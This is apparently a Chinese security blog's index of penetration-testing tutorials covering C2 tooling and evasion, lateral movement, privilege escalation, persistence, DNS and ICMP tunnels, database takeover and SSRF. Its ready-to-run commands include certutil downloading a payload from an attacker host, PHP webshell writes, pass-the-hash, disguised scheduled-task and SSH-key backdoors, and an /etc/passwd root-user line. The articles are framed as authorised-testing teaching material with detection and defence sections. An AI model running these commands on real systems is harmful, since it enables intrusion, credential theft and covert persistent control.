内网渗透 on SoulJian小站

渗透思路：整站渗透测试全流程

Sun, 30 Aug 2026 00:05:00 +0800

写在前面：合法学习边界

本文流程只用于授权项目。渗透测试必须在明确授权范围内进行。

一、拿到一个网站，先别急着打

1
2


先搞清楚：目标是谁、范围多大、边界在哪
再定流程：信息收集 → 漏洞发现 → 利用 → 提权 → 内网 → 报告

二、第一阶段：信息收集

1
2
3
4
5


域名/IP/端口：whois、子域名、端口扫描
指纹：中间件、CMS、框架、语言、版本
敏感信息：robots、.git、.env、备份文件
目录与接口：dirsearch/ffuf 目录爆破
第三方资产：小程序、APP、旁站、供应链

1

收集越全，后面越省力

三、第二阶段：漏洞发现

1
2
3
4
5
6


按功能点测：
 登录框（见登录窗口篇）
 输入框/搜索（见输入框篇）
 上传点（见上传篇）
 接口/API
自动化 + 手工结合：nuclei 扫已知、手工测逻辑

四、第三阶段：利用与 Getshell

1
2
3
4
5
6
7


按漏洞类型利用：
 SQL 注入 → 脱库/写文件
 RCE/框架漏洞 → 直接 Shell
 上传 → WebShell
 反序列化 → RCE
 逻辑/越权 → 提权或数据
拿到 Shell 后：确认权限、稳定会话

五、第四阶段：提权

1
2
3


Windows：不安全服务/注册表/Potato/内核
Linux：sudo/SUID/可写文件/内核（脏牛等）
目标：拿到 root/Administrator/SYSTEM

六、第五阶段：内网与横向

1
2
3
4


内网信息收集：网段、存活、关键服务
代理隧道：frp/Socks 打通
横向移动：凭据（哈希/票据）+ SMB/WMI/WinRM
域渗透：Kerberoasting、票据、DCSync

七、第六阶段：报告

1
2
3


漏洞清单 + 证据 + 影响 + 修复建议
按风险排序
附攻击路径还原

八、优先级与注意事项

1
2
3


先低成本高回报（信息收集、弱口令）
再打高危（RCE/上传/注入）
注意：不越授权范围、不破坏业务、留证据

九、小结

整站渗透 = “信息收集 → 漏洞发现 → 利用 → 提权 → 内网 → 报告”的流水线。每一步都在为下一步铺路：信息收集决定漏洞、漏洞决定 Getshell、Shell 决定提权、权限决定内网。把每个环节的思路清单掌握好，就能独立完成一个全场景渗透项目。

Vshell 深度实战：功能模块与免杀

Sat, 29 Aug 2026 23:30:00 +0800

写在前面：合法学习边界

Vshell 是后渗透工具，仅用于授权测试。对非授权目标上线 Agent 可能触犯法律。

一、Vshell 定位

Vshell 是国内轻量级 C2/后渗透平台，核心是“一台服务端管理多台主机”，功能覆盖上线、控制、隧道、横向，界面和上手比 CS 轻。

1

服务端 + Agent：Windows/Linux 均支持

二、服务端部署

1
2
3


# Linux 运行服务端，设置连接口令
./Vshell_linux_amd64 -token YourToken
# 默认监听端口（web 管理 + 回连监听）

1

注意：Vshell 默认特征明显，授权内使用，别在公网裸跑

三、生成 Agent（正反向）

反向（默认）

1
2


目标主动连回服务端
适用：目标可出网

正向（Bind）

1
2


目标开端口，服务端连过去
适用：目标只能进不能出（边界环境）

生成方式

1
2
3


选择目标系统（Windows/Linux）
选择架构（x86/x64）
生成 exe/elf 或脚本

四、Agent 上线与控制

1
2
3
4
5
6


目标执行 → 服务端出现主机
功能：
 命令执行
 文件管理（上传/下载）
 端口/进程查看
 注册表/计划任务（持久化辅助）

五、隧道与横向

1
2
3


Socks5 代理：让本地访问目标内网
端口转发：把内网端口映射出来
横向：配合抓取凭据/哈希登录其他主机

1
2


# 本地走 socks 访问内网
proxychains4 nmap -sT -Pn 内网IP

六、免杀思路（授权内）

1
2
3
4
5


1. 改特征：端口、回连路径、流量指纹
2. 加载器：shellcode 加密 + 白名单程序加载（rundll32/mshta/powershell）
3. 进程注入：注入白进程内存中运行
4. 加壳/混淆：降低静态特征
5. 注意：免杀是独立课题，实时对抗，授权使用

七、与 Cobalt Strike 对比

1
2
3


相同：服务端 + Agent、上线、隧道、横向
区别：Vshell 更轻、国产、上手快；CS 生态/插件更成熟
选型：看场景与团队习惯

八、检测（对立面）

1
2
3
4


Agent 固定流量特征、固定回连结构
异常外联、非常规端口
进程/文件特征可被 EDR 识别
服务端 IP/端口作为 IOC

九、小结

Vshell 让“单点失陷 → 集群控制”变得很轻量。用它会生成正反向 Agent、隧道、横向是核心；防守端要抓异常外联、Agent 特征和 EDR 告警。和 CS 一样，授权使用 + 注意特征两件事都要做。

内网横向移动技术全景

Sat, 29 Aug 2026 21:50:00 +0800

写在前面：合法学习边界

横向移动只允许在授权内网进行。对非授权主机横向、抓凭据可能触犯法律。

一、横向移动的本质

拿到一台主机后，用它的身份/凭据去“串”到内网其他主机，扩大控制面。

1
2
3
4


关键三要素：
1. 有凭据（明文/哈希/票据/Token）
2. 目标开放对应服务（445/5985/3389/22…）
3. 目标账号有权限

二、横向移动的凭据来源

1
2
3
4
5


内存抓取：mimikatz sekurlsa::logonpasswords
哈希：NTLM 哈希（PtH）
票据：Kerberos 票据（PtT / 黄金/白银票据）
明文：WDigest、内存缓存、配置文件
账号密码：弱口令爆破

三、横向技术矩阵

1. SMB 横向（最常用）

1
2
3
4
5
6
7
8


# impacket（Linux 侧）
psexec.py DOMAIN/user@ip -hashes :<ntlm> # 交互 Shell
# 解释：通过 SMB 服务创建一个远程会话，-hashes 直接传 NTLM 哈希，无需明文密码
smbexec.py DOMAIN/user@ip -hashes :<ntlm> # 无盘 Shell
# 解释：不走磁盘，通过 SMB 在内存中执行，更隐蔽
crackmapexec smb 网段 -u user -H <hash> # 批量探测
# 解释：对网段批量测试哪些机器能用该哈希登录，[+] 即成功
# 工具：PsExec、CrackMapExec、Impacket

2. WMI 横向

1
2
3


wmiexec.py DOMAIN/user@ip -hashes :<ntlm> # 更隐蔽
# 解释：通过 WMI 远程执行命令，不落地文件，日志更少
# 特点：不落地文件，走 WMI 远程执行

3. WinRM 横向

1
2
3


evil-winrm -i ip -u user -H <ntlm> # 交互 Shell
# 解释：通过 WinRM(5985) 拿到交互 shell，适合支持 WinRM 的主机
# 前提：目标开启 WinRM（5985/5986）

4. RDP 横向

1
2


拿到账号密码/哈希直接远程桌面
注意：RDP 留登录痕迹，动静大

5. SSH 横向（Linux 内网）

1
2


ssh user@ip
# 复用已抓到的 SSH 私钥/口令

6. 计划任务 / 服务

1
2


创建远程计划任务执行命令
远程创建服务（binPath 指向恶意程序）

7. 其他

1
2
3


数据库横向（MSSQL xp_cmdshell / Redis）
Web 应用横向（利用内网 Web 漏洞）
代理 + 隧道（先打通网络再横向）

横向操作步骤

1
2
3
4
5
6


第 1 步：在已控主机抓凭据（mimikatz sekurlsa::logonpasswords）
第 2 步：确认网段与目标（存活探测 + 端口 445/5985/3389）
第 3 步：用 CrackMapExec 批量验证哈希/口令可用性
第 4 步：按服务选工具横向（SMB→psexec、WMI→wmiexec、WinRM→evil-winrm）
第 5 步：横向后在新主机再抓凭据，向域控/核心推进
第 6 步：全程记录，避免破坏业务

四、横向工具汇总

1
2
3
4
5
6


Impacket（psexec/wmiexec/smbexec）
CrackMapExec（批量横向）
evil-winrm
mimikatz（抓凭据）
Cobalt Strike 的 psexec_psh/wmi 模块
fscan（内网批量发现+利用）

五、检测

1
2
3
4
5


同一账号多主机登录（4624/4625 异常）
LSASS 被读取（mimikatz）
SMB/WMI/WinRM 横向扫描特征
计划任务/服务批量创建
异常 NTLM 登录、票据使用

六、防御

1
2
3
4
5


LAPS 防本地管理员密码复用
Credential Guard 隔离凭据
账号分离（域管不登普通机）
最小开放端口，网络分段
EDR 检测横向行为

七、修复（事件后）

1
2
3
4


重置受影响账号密码
清理会话/票据/后门
补齐补丁、收敛暴露面
复测横向路径是否还存在

八、小结

横向移动 = “凭据 + 可达服务 + 权限”。先抓凭据（mimikatz），再用 CrackMapExec/impacket 批量试，是主流打法。防守核心是防凭据泄露（LAPS/Credential Guard）+ 控横向通道（分段/EDR）。

Linux 提权深入：脏牛等内核漏洞

Sat, 29 Aug 2026 21:40:00 +0800

写在前面：合法学习边界

内核提权只允许在授权靶场进行。利用内核漏洞在真实系统提权可能触发系统崩溃，风险高、可能触犯法律。

一、原理

当 sudo/SUID/可写文件都没戏时，才考虑内核漏洞。内核漏洞 = 低权限用户触发内核中的 bug，拿到 root。

1

低权限进程 → 触发内核漏洞 → 以 root 执行代码

为什么是“最后手段”：破坏性高（可能崩溃）、不同内核版本 exploit 不通、容易暴露。

二、经典与时效的内核漏洞

1. 脏牛 Dirty Cow（CVE-2016-5195）

1
2
3


写时拷贝（COW）竞态 → 可覆盖只读文件（如 /etc/passwd）
影响：Linux 2.6.22 – 4.8.x
利用：dirtycow 写 /etc/passwd 添加 root 用户

2. Dirty Pipe（CVE-2022-0847）

1
2
3


未初始化管道缓冲 → 修改只读文件/覆盖 /etc/passwd
影响：Linux 5.8 – 5.16.x
利用：dirtypipe 写 root 用户

3. PwnKit（CVE-2021-4034）

1
2
3


polkit 的 pkexec 未正确处理参数 → 直接提权 root
影响：几乎所有主流发行版（2022 爆出，老版本长期受影响）
利用：一键 pkexec exploit，非常稳定

4. OverlayFS（CVE-2021-3493）

1
2


Ubuntu overlayfs 文件复制竞态 → 提权
影响：Ubuntu 16.04/18.04/20.04

5. Looney Tunables（CVE-2023-4911）

1
2


glibc ld.so 堆溢出 → 提权
影响：主流发行版部分版本（时效性高）

三、影响

1
2
3


低权限 → root
完全控制主机
横向移动、抓取更多凭据

风险等级：高到严重。

四、利用 / 复现（授权环境）

第一步：确认内核版本与系统

1
2


uname -a
cat /etc/os-release

第二步：对号选 exploit

1
2
3
4
5
6
7
8
9


# 内核版本 → 匹配已知 CVE
# 例：脏牛
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 新密码
su 新用户

# PwnKit（通用性强）
./CVE-2021-4034
id # 已是 root

第三步：验证

1

id # uid=0(root)

五、检测

1
2
3


uname -r 对比已修复版本
补丁缺失、内核长期不更新
存在可复现的 CVE 条件

六、防御

1
2
3
4


及时打内核/系统补丁（最根本）
最小化暴露，防止低权限入口
对可疑编译/执行行为告警
容器/云主机用加固镜像

七、修复

1
2
3


升级内核与关键组件（glibc/polkit 等）
对已提权主机取证、清理
修复后复测：旧 exploit 失效

八、小结

内核提权是 Linux 提权的“核武器”：破坏性大、但成功率取决于版本。正确姿势是先 uname 定版本，再对号打对应 CVE。防御端只有一条最有效——及时打补丁。脏牛、PwnKit 这类“老而经典”的漏洞，至今还在大量老系统上有效。

权限维持实战：Windows 与 Linux 后门

Sat, 29 Aug 2026 19:50:00 +0800

写在前面：合法学习边界

权限维持只允许在授权靶场进行。在真实系统留后门可能触犯法律。本文攻防视角，重点也在“如何发现与清理”。

一、原理

渗透拿下主机后，为避免“重连一次就丢”，会做权限维持（持久化）：把后门藏进系统自启动机制，让它在重启/登录后仍能复活。

1

核心思路：借系统“自动运行”的机制藏后门

二、Windows 权限维持

计划任务

1
2


schtasks /create /tn "svchost" /tr "C:\tmp\x.exe" /sc onstart /ru SYSTEM
:: 解释：创建开机自启任务，伪装成系统服务名，以 SYSTEM 运行

注册表 Run 键

1
2
3


reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v up /d "C:\tmp\x.exe"
:: 解释：写注册表 Run 键，用户登录时自动运行
# 或 HKLM\...\Run 对所有用户生效

服务

1
2


sc create "Upd" binPath= "C:\tmp\x.exe" start= auto
sc start Upd

启动文件夹

1
2


shell:startup 目录放快捷方式/可执行文件
用户登录即运行

WMI 事件订阅

1
2


WMI 事件（如开机/定时）触发执行
隐蔽性强，常规检查难发现

其他

1
2
3


后门账户：net user hack P@ss /add && 加管理员
黄金票据：伪造 krbtgt 持久访问域
C2 服务：把 Beacon/MSF 包成服务

三、Linux 权限维持

crontab

1
2


(crontab -l; echo "*/5 * * * * /tmp/x.sh")|crontab -
# 解释：先读现有 crontab，追加一条每 5 分钟执行的命令再写回（避免覆盖原任务）

rc.local / systemd

1
2
3


echo '/tmp/x.sh &' >> /etc/rc.local
# 解释：追加到开机脚本，系统启动即运行
# 或写 systemd service 开机启动

用户登录脚本

1
2


echo '/tmp/x.sh &' >> ~/.bashrc
# 解释：用户每次开终端都会执行，适合常见用户后门

SSH 后门

1
2


echo 'ssh-rsa AAAA... >> /root/.ssh/authorized_keys
# 解释：写入公钥后，攻击者可用对应私钥免密登录，非常隐蔽

LD_PRELOAD / PAM

1
2


LD_PRELOAD 劫持库
PAM 后门记录/接受指定密码

影响与危害

权限维持若被滥用：

1
2
3


失陷主机被长期控制
后门绕过杀软与人工排查
持续窃取数据、横向移动

风险等级：高。防守难点在于后门藏进正常自启动机制，难发现。

权限维持操作步骤

1
2
3
4
5


第 1 步：根据系统选持久化方式（Windows 计划任务/注册表；Linux crontab/SSH Key）
第 2 步：先测一次是否能触发（重启/登录/定时）
第 3 步：隐藏痕迹（伪服务名、隐蔽路径、去特殊字符）
第 4 步：结合 C2/后门做成“自动回连 + 自恢复”
第 5 步：记录后门位置，便于后续清理

四、检测与清理

Windows

1
2
3
4


计划任务审计、启动项（Autoruns）检查
服务、注册表 Run、WMI 事件订阅排查
后门账户（net user / 克隆账户）检查
EDR 对异常自启动行为告警

Linux

1
2
3
4


crontab -l、/etc/cron.* 检查
rc.local、systemd 服务审计
~/.bashrc、authorized_keys 检查
文件哈希比对、进程与网络连接排查

清理思路：

1
2
3
4


先取证，再断后门
删除计划任务/服务/注册表/脚本/密钥
杀进程、清持久化
修漏洞防止再次进入

五、小结

权限维持的本质是“利用系统自启动机制藏后门”。防守重点不是背后门列表，而是掌握主机的自启动/自运行面（计划任务、服务、启动项、登录脚本），定期审计。清理时先取证、再断链。

内网渗透：Windows 提权实战

Sat, 29 Aug 2026 18:30:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个 Windows 低权限 Shell 后，目标是提升到 SYSTEM/Administrator。Windows 提权大多利用“服务/配置跑在高权限上，却可以被低权限用户控制”这类问题。

常见提权面：

1
2
3
4
5
6


不安全的服务（可写二进制、可写服务路径、未引用的服务路径）
注册表 AlwaysInstallElevated（MSI 以 SYSTEM 安装）
令牌模拟（SeImpersonatePrivilege → Potato 系列）
可写启动文件夹 / 计划任务
DLL 劫持
内核漏洞

二、影响与危害

1
2
3


低权限 → SYSTEM/管理员
控制主机、横向移动
抓取更多凭据

风险等级：高。

三、利用 / 复现

第一步：收集信息

1
2
3
4
5
6
7
8
9


whoami /all :: 用户与权限（看 SeImpersonatePrivilege）
:: 解释：SeImpersonatePrivilege 是 Potato 系列提权的前提
systeminfo :: 系统版本与补丁
:: 解释：核对补丁找缺失 CVE
sc qc <服务名> :: 服务配置
:: 解释：看服务二进制路径/运行账号，判断能否替换
wmic service get name,pathname,startname :: 服务二进制路径
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 解释：值为 1 时 MSI 会以 SYSTEM 安装，可用来提权

第二步：不安全的服务

1
2
3


1. 找服务路径可写或引用的二进制可被替换
2. 替换成恶意程序（如创建管理员用户）
3. 重启/触发服务 → 以 SYSTEM 执行

未引用服务路径：

1
2


# 服务路径含空格且未加引号，可放同名恶意文件到前面目录
sc start <服务名>

第三步：AlwaysInstallElevated

1
2
3


# 注册表值为 1 时，MSI 以 SYSTEM 安装
msfvenom -p windows/... -f msi -o evil.msi
msiexec /quiet /i evil.msi

第四步：令牌模拟（Potato 系列）

1
2


拥有 SeImpersonatePrivilege（服务账号常见）时
用 Potato（Juicy/Rogue/LoneWolf）提权到 SYSTEM

第五步：内核漏洞

1
2


systeminfo 看补丁 → 对缺失补丁查 CVE
只在授权环境用，先评估稳定性

四、检测

1
2
3
4


服务二进制/路径权限异常（可被低权限修改）
注册表 AlwaysInstallElevated 被开启
高权限服务运行账号可疑
补丁严重缺失、版本过旧

五、防御

1
2
3
4
5


服务二进制用受控目录并收紧 ACL
关闭 AlwaysInstallElevated
服务账号最小权限，不随意给 SeImpersonate
及时打补丁
EDR 监控提权行为（Potato、服务替换）

六、加固（修复）

1
2
3
4
5


修复不安全服务路径与权限
关闭 AlwaysInstallElevated
清理提权工具与后门账户
补装补丁
对已提权主机取证

七、小结

Windows 提权核心是“谁在高权限下运行、低权限用户能不能碰它”。先看 whoami /all 和 sc qc，再决定走服务替换、注册表、Potato 还是内核漏洞。和 Linux 提权一样，先信息收集再动手。

DNS 隧道工具实战（iodine / dnscat2）

Sat, 29 Aug 2026 17:30:00 +0800

写在前面：合法学习边界

DNS 隧道只在授权内网靶场使用。对非授权网络建立 DNS 通道、外带数据可能触犯法律。

一、漏洞原理

DNS 查询基本不会被防火墙拦（解析域名必须放行）。DNS 隧道把数据编码进 DNS 查询的域名和响应记录，借 DNS 协议传任意数据。

1

数据 → 编码进子域名查询 / TXT 记录 → DNS 服务器转发 → 攻击者服务器接收

常用工具：

1
2
3


iodine：把 DNS 变成 IP 隧道（需要控制一个域名）
dnscat2：在 DNS 上跑命令通道
dns2tcp：类似

二、影响与危害

1
2
3


在只放行 DNS 出站的环境建立通道
绕过防火墙、外带数据
稳定的远程控制通道

风险等级：高。

三、利用 / 复现

前置条件

1
2


需要自己控制一个域名（如 tunnel.example.com）
把该域名的 NS 记录指向攻击机

iodine：IP over DNS

1
2
3
4
5


# 攻击机（服务端，公网 IP）
iodined -f 10.0.0.1 tunnel.example.com

# 目标机（客户端）
iodine -f 10.0.0.1 tunnel.example.com

隧道建立后，10.0.0.0/24 内网直接可达，可 ssh/scp 等。

dnscat2：命令通道

1
2
3
4
5


# 攻击机（服务端）
ruby dnscat2.rb tunnel.example.com

# 目标机（客户端）
./dnscat2-v0.07-client tunnel.example.com

服务端可 session -i 1 进入会话，执行命令：

1
2


session -i 1
shell

四、检测

1
2
3
4
5


域名查询异常：子域名很长、随机串、高熵
大量 TXT 记录请求（iodine 用 TXT 传数据）
单个域名高频 DNS 查询、请求来源异常
DNS 查询大小远大于正常（超 512 字节）
域名从未见过、TTL 异常

五、防御

1
2
3
4
5


限制 DNS 出站到可信递归服务器
监控并限制单个来源的 DNS 查询量
对高熵域名、超长域名告警
禁止非权威解析器的 TXT 大量查询
关键网络按需关闭 DNS 出站

六、加固（修复）

1
2
3
4


发现隧道：封禁异常域名与来源 IP
清理目标机隧道进程
收紧 DNS 策略并补监控
对失陷主机取证

七、小结

DNS 隧道是“防火墙最不敢拦的协议”被滥用：解析总是要放行。红队用它做隐蔽通道，蓝队要盯异常查询特征——长域名、高熵、高频、TXT 大量传输。它是内网渗透和数据外带的经典手段。

ICMP 隧道工具实战（icmpsh / ptunnel）

Sat, 29 Aug 2026 17:20:00 +0800

写在前面：合法学习边界

ICMP 隧道只在授权内网靶场使用。对非授权网络建立隐蔽通道可能触犯法律。

一、漏洞原理

很多防火墙放行 ICMP（否则 ping 不通，运维排查麻烦），但会拦截常见端口（443/445/3389 等）。ICMP 隧道就是把数据封装进 ICMP echo（ping）包，借这条“放行通道”传数据。

1
2


数据 → 封装进 ICMP payload → 对端解封装
看起来只是普通 ping，实际在传任意数据

常用工具：

1
2
3


icmpsh：简单，做命令回显/反弹
ptunnel：建立 TCP over ICMP 隧道
PingTunnel：类似 ptunnel

二、影响与危害

1
2
3


绕过防火墙出站限制
在只放行 ICMP 的环境建立通道
外带数据、隧道代理

风险等级：高（一旦建立等于打通网络隔离）。

三、利用 / 复现

icmpsh：命令回显/反弹

1
2
3
4


# 攻击机（服务器端）
python icmpsh_m.py 攻击机IP 目标IP
# 目标机（客户端，需要 root）
./icmpsh.exe -t 攻击机IP -d 500 -s 500

连接成功后目标机的 Shell 回到攻击机。

ptunnel：TCP over ICMP

1
2
3
4
5
6


# 服务端（攻击机，监听）
./ptunnel -x 密码
# 客户端（目标机，连接到内网某台机器）
./ptunnel -p 攻击机IP -lp 2222 -da 10.0.0.5 -dp 3389 -x 密码
# 本地连接
rdesktop 127.0.0.1:2222

即通过 ICMP 隧道把内网 10.0.0.5:3389 映射到本地 2222 端口。

使用条件

1
2
3


能 ping 通目标（ICMP 放行）
icmpsh 客户端需要 root/管理员权限
网络中间不能过滤畸形 ICMP 包

四、检测

1
2
3
4
5


ICMP 包体积异常大（超过正常 ping 的 64/128 字节）
高频、连续 ICMP 请求（正常 ping 频率低）
ICMP payload 内容非纯数字/字母，出现编码特征
请求与响应包大小比例异常
同一 IP 长时间持续 ICMP 交互

五、防御

1
2
3
4


防火墙限制 ICMP 出站/入站到可信来源
监控异常 ICMP 流量并告警
在边界禁止畸形/超大 ICMP 包
对关键网段关闭 ICMP 回显

六、加固（修复）

1
2
3
4


发现隧道：断开通道并封禁来源 IP
清理隧道工具与持久化进程
收紧 ICMP 策略，补边界防护
对失陷主机取证追查数据流向

七、小结

ICMP 隧道是“规则总是漏掉的那条路”：防火墙防端口，却常放行 ping。红队用它绕隔离，蓝队要抓的是异常 ICMP 的特征——大包、高频、非正常 payload。

内网渗透：数据库提权实战（MSSQL / MySQL / Redis）

Sat, 29 Aug 2026 16:30:00 +0800

写在前面：合法学习边界

数据库提权测试只允许在授权靶场或授权数据库进行。对真实数据库写入 shell、执行命令可能触犯法律。

一、漏洞原理

拿到数据库高权限后，利用数据库自身的“执行能力”突破到操作系统。

三种典型：

1
2
3


MSSQL：xp_cmdshell 扩展存储过程直接执行系统命令
MySQL：有 FILE 权限 → INTO OUTFILE 写 WebShell / UDF 提权
Redis：未授权 → CONFIG 写 crontab/SSH Key/WebShell

共同点：数据库服务以较高权限运行，且具备读写文件或执行命令的能力。

二、影响与危害

1
2
3


数据库服务器 Getshell
横向移动、数据全部泄露
权限提升到系统/root

风险等级：高到严重。

三、利用 / 复现

MSSQL：xp_cmdshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


-- 1. 开启高级选项与 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- 解释：xp_cmdshell 默认关闭，先开高级选项才能再开它
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 2. 执行命令
EXEC xp_cmdshell 'whoami';
-- 解释：whoami 确认执行身份（MSSQL 常以 SYSTEM 运行）

-- 3. 提权/上线
EXEC xp_cmdshell 'certutil -urlcache -split -f http://攻击机/x.exe C:\x.exe';
-- 解释：用系统自带 certutil 下载文件，免额外工具

1
2
3
4
5
6


数据库提权操作步骤：
第 1 步：确认数据库版本/权限/账号
第 2 步：MSSQL 则开启 xp_cmdshell 执行命令
第 3 步：MySQL 有 FILE 权限则写 WebShell 或 UDF
第 4 步：Redis 未授权则写 crontab/SSH Key/WebShell
第 5 步：验证权限并继续内网渗透

常用连接方式：

1
2


impacket-mssqlclient sa:'Pass@123'@目标IP -windows-auth
sqlmap --os-shell # 探测到 SQL 注入时可直接拿 shell

注意：MSSQL 服务默认以 SYSTEM/高权限运行，whoami 往往直接是 nt authority\system。

MySQL：INTO OUTFILE 写 WebShell

1
2
3
4
5
6
7
8
9


-- 1. 确认 FILE 权限与 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'; -- 为空才能写任意目录
-- 解释：secure_file_priv 非空时禁止导出，需先确认
SELECT @@global.secure_file_priv;

-- 2. 写 WebShell（需要知道 web 路径）
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 解释：把一句话写入 Web 目录，访问即执行

若 secure_file_priv 非空，则不能写，需换 UDF。

MySQL：UDF 提权

1
2
3


把 lib_mysqludf_sys.so 放进 plugin 目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');

前提：MySQL 有 FILE 权限 + plugin 目录可写。

Redis：写文件 Getshell

1
2
3
4
5


见《漏洞联动：SSRF 打内网 Redis 未授权 Getshell》
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

四、检测

1
2
3
4


数据库弱口令/未授权（sa 空口令、root 空口令、Redis 无密码）
MSSQL 日志中 xp_cmdshell 相关事件
Web 目录出现非业务文件（shell.php 等）
数据库执行了非业务 SQL（OUTFILE、CONFIG SET）

五、防御

1
2
3
4


数据库账号最小权限，禁止 sa/root 直接用于应用
关闭 xp_cmdshell、禁用危险函数
secure_file_priv 设为不可写目录
Redis 加认证、绑内网、禁危险命令

六、修复

1
2
3
4
5


重置数据库弱口令，收敛权限
关闭 xp_cmdshell、限制 OUTFILE/UDF
清理已写入的 WebShell/crontab/SSH Key
网络隔离数据库，不暴露公网
修复后复测：高危操作被拒

七、小结

数据库是内网提权的高价值目标：sa/root/空密码 + 执行能力 = 直接 GetShell。测试时先看数据库账号权限和配置，再决定走 xp_cmdshell、OUTFILE 还是 UDF。

内网渗透：Linux 提权实战

Sat, 29 Aug 2026 16:20:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个低权限 Shell 后，目标是提升到 root。提权本质是：低权限用户能利用系统配置或漏洞，执行本不该有权限的操作。

常见提权面：

1
2
3
4
5
6


sudo 配置不当（用户可执行 root 命令）
SUID 文件（以所有者权限运行）
可写文件（/etc/passwd、PATH 里的脚本）
cron 任务（可写脚本/PATH 劫持）
内核漏洞
数据库/服务漏洞提权

二、影响与危害

1
2
3


低权限 → root 完全控制
横向移动
数据窃取、后门持久化

风险等级：高（决定渗透是否深入）。

三、利用 / 复现

第一步：收集当前权限

1
2
3
4


id
sudo -l # 看当前用户能 sudo 什么
whoami
cat /etc/passwd | grep -v nologin

第二步：sudo 提权（重点看 GTFOBins）

1
2
3
4
5
6
7
8
9


# 如果 sudo -l 显示可以无密码执行 find/vim/python 等
sudo -l
# 解释：列出当前用户可执行的 sudo 命令，提权的关键入口
# 例：sudo find 提权
sudo find / -exec /bin/sh \;
# 解释：find 有 -exec 可执行命令，/bin/sh 提权；注意 -p 保留 SUID 权限
# 例：sudo python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# 解释：sudo 下 python 直接调系统命令弹 shell

规则：sudo -l 里能执行什么，就去 GTFOBins 查对应的提权命令。

第三步：SUID 提权

1
2
3
4
5
6
7


# 找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 解释：-4000 匹配 SUID 位，SUID 程序以文件所有者（常为 root）权限运行
# 例：find SUID
find / -exec /bin/sh -p \;
# 例：nmap 旧版本交互模式
nmap --interactive

-p 保留 SUID 权限。

第四步：可写文件与 PATH 劫持

1
2
3
4
5


# /etc/passwd 可写 → 添加无密码 root 用户
echo 'hack::0:0::/root:/bin/bash' >> /etc/passwd
# PATH 劫持：把同名恶意文件放进靠前的 PATH 目录
echo '/bin/bash' > /tmp/ls && chmod +x /tmp/ls
export PATH=/tmp:$PATH

第五步：cron 任务提权

1
2
3


cat /etc/crontab
# 如果任务调用可写脚本/命令 → 替换为反弹
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > /可写脚本路径

内核漏洞（谨慎）

1
2
3


uname -a 看版本 → 查对应 CVE
脏牛(DirtyCow) 等历史漏洞
只在靶场/授权环境用，生产先评估影响

四、检测

1
2
3
4


find SUID 扫描、sudo -l 输出是否异常
可写系统目录/脚本
cron 里异常条目
内核版本过旧、补丁缺失

五、防御

1
2
3
4
5


最小化 sudo 授权，按命令白名单
避免不必要 SUID 位
关键文件收紧权限、目录防写
cron 脚本放安全目录并校验
及时打内核补丁

六、加固（修复）

1
2
3
4
5


清理多余 SUID/sudo 授权
修复可写关键路径与脚本
禁用/替换危险 sudo 命令
升级内核补丁
对已提权主机做取证与后门清理

七、小结

Linux 提权的套路很固定：先看 sudo -l 和 SUID，再看可写文件和 cron。这些排查完没戏，才考虑内核漏洞。记住 GTFOBins 是 sudo/SUID 提权的“字典”。

SSRF 深入实战：利用面与绕过

Sat, 29 Aug 2026 15:40:00 +0800

写在前面：合法学习边界

SSRF 测试只允许在自建靶场或授权环境进行。对真实系统做内网探测、读元数据可能触犯法律。

一、漏洞原理

SSRF（服务端请求伪造）指服务器根据用户提供的 URL 发起请求。攻击者让服务器去访问原本到不了的地方。

1

curl 场景：URL 预览、截图、webhook、图片代理、文件下载

如果 URL 可控且无限制，服务器就成了攻击者的“跳板”。

二、影响与危害

1
2
3
4
5


读取内网文件（file://）
探测内网端口与服务
访问云元数据（169.254.169.254 的 IAM 密钥）
配合 Redis/内网组件 Getshell
绕过 WAF/网络隔离

风险等级：高到严重。

三、利用 / 复现

读文件

1
2


file:///etc/passwd
file:///C:/Windows/win.ini

探测内网

1
2
3


http://127.0.0.1:80
http://10.0.0.1:6379
http://192.168.1.1:8080

通过响应差异判断端口是否开放。

云元数据

1
2
3
4
5


# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 阿里云
http://100.100.100.200/latest/meta-data/

拿到临时凭证即可接管云资源。

配合 Redis Getshell

见本站《漏洞联动：SSRF 打内网 Redis 未授权 Getshell》：

1

SSRF → gopher 到 6379 → CONFIG 写 crontab/WebShell

常见绕过

1
2
3
4


127.0.0.1 → 2130706433、[::1]、十进制/十六进制
localhost → 绕过域名黑名单
@ 与 # 混淆、重定向绕过
DNS 重绑定

四、检测

1
2
3
4


参数中 URL 可控且协议未限制
请求目标出现内网地址/云元数据
异常出站请求与响应差异
日志中 file://、169.254、内网 IP 请求

五、防御

1
2
3
4
5


URL 白名单（只允许预期域名/IP）
禁止内网段与元数据地址
禁用 file/gopher/dict 等协议
禁用自动重定向
限制请求大小与频率

六、修复

1
2
3
4


服务端校验并归一化 URL
解析后校验 IP（防 DNS 重绑定）
按协议白名单放行
修复后复测：内网与元数据访问被阻断

七、小结

SSRF 的价值在于“借力打力”：让服务器替你去访问内网。配合 Redis、云元数据，单点 SSRF 就能变成 Getshell 或云接管。它是漏洞链里最好的“入口跳板”。

内网渗透：frp 隧道与代理实战

Sat, 29 Aug 2026 13:40:00 +0800

写在前面：合法学习边界

